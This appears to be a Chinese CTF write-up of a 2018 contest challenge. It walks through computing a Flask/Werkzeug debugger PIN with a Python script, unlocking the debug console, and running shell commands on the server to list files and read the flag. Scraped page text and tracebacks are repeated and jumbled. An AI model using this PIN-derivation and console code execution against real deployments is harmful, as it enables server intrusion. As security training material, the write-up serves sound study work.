

注意这些`>`是为了闭合前面的语句，在重新添加一句`php`的语句来执行命令

粗心的程序员呀 (2018安恒8月赛)

>考点: *Flask debug pin*安全问题

参考:<https://xz.aliyun.com/t/2553>

<http://skysec.top/2018/08/25/2018%E5%AE%89%E6%81%92%E6%9C%88%E8%B5%9BWriteup/#web>

<https://www.smile.top/%e5%ae%89%e6%81%92%e6%9d%af%e6%9c%88%e8%b5%9bwrite-up/>

<https://www.jianshu.com/p/e4cfa55a401a>

打开网站

点击注册

写着什么图床系统，很奇怪，注册之后更奇怪

![OperationalError database is locked Werkzeug Debugger.png]

(https://i.loli.net/2018/11/11/5be7b3243eefa.png)

根据先知那位师傅的解释，主要就是利用*Flask*在*debug*模式下会生成一个*Debugger PIN*，我们就是要获取*pin*码，才可以进行任意的代码执行，来获取*flag*

参考飘零师傅的脚本

```
``python
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf', # username
    'flask.app', # modname
    'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__',
None),
]
```

```
private_bits = [
    '2485377892354' # str(uuid.getnode()), /sys/class/net/eth0/address
]
```

```
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
```

```
cookie_name = '__wzd' + h.hexdigest()[:20]
```

```
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                           for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
```

CTF

[注册](#) [登录](#)

welcome



CTF

用户名

密码

确认密码

EMAIL

注册

sqlite3.OperationalError

OperationalError: database is locked

Traceback (most recent call last)

```
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2309, in __call__
    return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2295, in wsgi_app
    response = self.handle_exception(e)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1741, in handle_exception
    reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2292, in wsgi_app
    response = self.full_dispatch_request()
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1815, in full_dispatch_request
    rv = self.handle_user_exception(e)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1718, in handle_user_exception
    reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1813, in full_dispatch_request
    rv = self.dispatch_request()
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1799, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
File "/app/viewssssss.py", line 66, in register
    register_user = query_db("insert into user (username,password,email) values(?,?,?)*",
    [request.form.get('username'),request.form.get('password'),request.form.get('email')],one=True)
File "/app/viewssssss.py", line 30, in query_db
    cur = g.db.execute(query, args)
```

OperationalError: database is locked

The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error.

To switch between the interactive traceback and the plaintext one, you can click on the "Traceback" headline. From the text traceback you can also create a paste of it. For code execution mouse-over the frame you want to debug and click on the console icon on the right side.

You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection:

- `dump()` shows all variables in the frame
- `dump(obj)` dumps all that's known about the object

Brought to you by **DON'T PANIC**, your friendly Werkzeug powered traceback interpreter.

运行之后得到pin: 131-442-946

点击右边那个小终端

OperationalError: database is locked

Traceback (most recent call last)

```
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2309, in __call__
    return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2295, in wsgi_app
    response = self.handle_exception(e)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1741, in handle_exception
    reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2292, in wsgi_app
    response = self.full_dispatch_request()
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1815, in full_dispatch_request
    rv = self.handle_user_exception(e)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1718, in handle_user_exception
    reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1813, in full_dispatch_request
    rv = self.dispatch_request()
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1799, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
File "/app/viewssssss.py", line 66, in register
    register_user = query_db("insert into user (username,password,email) values(?,?,?)*",
    [request.form.get('username'),request.form.get('password'),request.form.get('email')],one=True)
File "/app/viewssssss.py", line 30, in query_db
    cur = g.db.execute(query, args)
```

Open an interactive python shell in this frame

输入刚才的pin

OperationalError: database is locked

Traceback (most recent call last)

```
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2309, in __call__
    return self.wsgi_app(environ, start_response)
[console ready]
>>>
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2295, in wsgi_app
    response = self.handle_exception(e)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1741, in handle_exception
    reraise(exc_type, exc_value, tb)
```

Console Locked

The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server.

PIN:

Confirm Pin

输入刚才得到的pin

然后就可以执行命令

Traceback (most recent call last)

File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2309, in __call__

return self.wsgi_app(environ, start_response)

[console ready]

>>>

出现命令行交互

File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2295, in wsgi_app

response = self.handle_exception(e)

输入以下命令

```
1 [console ready]
2 >>> from subprocess import check_output
3 >>> check_output('ls',shell=True)
4 'app\nbin\nboot\ndev\ntec\nfff111aagggg__hhh\ncat\nlib\nlib64\nmedia\nmnt\n
5 nopt\n
6 >>> os.popen('cat fff111aagggg__hhh').read()
7 'flag{87052362d59339071c5ce607ad28b752}\n'
>>>
```

File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2309, in __call__

return self.wsgi_app(environ, start_response)

[console ready]

>>> from subprocess import check_output

>>> check_output('ls',shell=True)

'app\nbin\nboot\ndev\ntec\nfff111aagggg__hhh\ncat\nlib\nlib64\nmedia\nmnt\nnopt\n'

>>> os.popen('cat fff111aagggg__hhh').read()

'flag{87052362d59339071c5ce607ad28b752}\n'

>>>

pycharm 版调试: <https://www.jianshu.com/p/a9a1b012d5b7>